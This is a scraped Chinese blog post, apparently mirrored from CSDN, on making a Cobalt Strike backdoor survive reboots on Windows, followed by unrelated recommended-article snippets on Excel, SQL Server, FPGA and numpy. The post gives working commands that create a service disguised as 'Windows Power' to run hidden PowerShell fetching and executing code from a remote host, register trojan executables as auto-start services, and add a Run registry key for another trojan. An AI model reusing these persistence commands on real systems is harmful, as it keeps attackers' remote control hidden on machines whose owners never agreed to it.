cobalt strike开机自启动后门_cobaltstrike进程如何注入开机自启动_mirror97black的博客-程序员秘密

前提：拿到cobalt strike的session

设置开机自启动服务

使用sc命令创建服务

sc create "Windows Power" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.0.0.1:801/a'))\""

服务名可以伪装一下，binpath= 后面有个空格

将服务设置为自启动

sc config "Windows Power" start= auto

设置服务的描述

sc description "Windows Power" "windows auto service"

启动服务

net start "Windows Power"

删除服务

sc delete "Windows Power"

将exe木马添加到自启动服务中

sc create "server power" binpath= "C:\Users\Administrator\Desktop\artifact.exe"

sc description "server power" "description" 设置服务的描述字符串

sc config "server power" start= auto 设置这个服务为自动启动

net start "server power" 启动服务

通过注册表设置开机启动项

设置开机启动项，往注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加木马程序路径

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Users\Administrator\Desktop\artifact1.exe" /f

本文链接：https://blog.csdn.net/mirror97black/article/details/79863016

原作者删帖不实内容删帖广告或垃圾文章投诉

智能推荐

java excel 四位小数_jxl读取Excel不能超过3位小数解决办法_邦加拉斯的博客-程序员秘密

在用jxl 这个包读取excel的单元格的内容的时候，用如下语句：String text = cell.getContents();如果是数字，只能得到3位小数，超过的部分，会四舍五入。解决的办法就是： 1. 把单元格的格式设置为数字，并留出足够长的小数位。第一种方法虽然有效，但是显得麻烦，可以通过下面方法得到正确的数字：if(cell.getType() == CellType.NUMBER){...

在与 SQL Server 建立连接时出现与网络相关的或特定于实例的错误。未找到或无法访问服务器_qian21h的博客-程序员秘密

在与 SQL Server 建立连接时出现与网络相关的或特定于实例的错误。 建议你看看SQL SERVER配置管理中TCP是否开启。另外命名管道是否正常。不知道你用的是哪个版本的SQL SERVER，不过大多数都是由于这些问题造成的。 sql2005->配置工具->外围应用配置器->服务和连接的外围应用配置器->DataBase Engine->服务->点启动 ----------------------------->问题解决！ ------

connection refused_connection_refused_怡然然然然然的博客-程序员秘密

1.学习使用ping进行网络请求，当ping域名时可以得到对应的ip得知，域名不能带http前缀。2.之前的项目遇到一个问题，在用jsoup进行网络请求时，在调用execute或者get方法时会报connection refused的错误，经测试，请求的地址可以访问到，而通过jsoup的方式请求也是时好时坏，百度上也找不到一个所以然来，只能对代码做了如下的改进 1）将访问的域名改为ip地

XILINX FPGA 7系之 CLB/LUT/FF/Multiplexers_ff和slices_爱洋葱的博客-程序员秘密

目录1、CLB2、Slice2.1、SLICEM2.2、SLICEL2.3、SLICEL Vs SLICEM3、LUT4、FF5、Multiplexers5.1、MUX（4：1 ）5.2、MUX（8：1 ）5.3、MUX（16：1 ）6、SummaryXilinx FPGA 的内部结构中最基本的构成便是 CLB 了，在更好的利用 Xilin...

numpy中np.column_stack()和np.row_stack()_numpy row_stack_IMWTJ的博客-程序员秘密

在numpy库中，对于矩阵的合并操作用两种方法：行合并：np.row_stack()列合并：np.column_stack()具体操作见下面的程序：>>> import numpy as np>>> a=np.arange(16).reshape(4,-1)>>> aarray([[ 0, 1, 2, 3], ...

java调试体系之Java 调试接口（JDI）_jdiattach_PolarisHuster的博客-程序员秘密

JDI 简介JDI（Java Debug Interface）是 JPDA 三层模块中最高层的接口，定义了调试器（Debugger）所需要的一些调试接口。基于这些接口，调试器可以及时地了解目标虚拟机的状态，例如查看目标虚拟机上有哪些类和实例等。另外，调试者还可以控制目标虚拟机的执行，例如挂起和恢复目标虚拟机上的线程，设置断点等。目前，大多数的 JDI 实现都是通过 Java 语言编写的。比...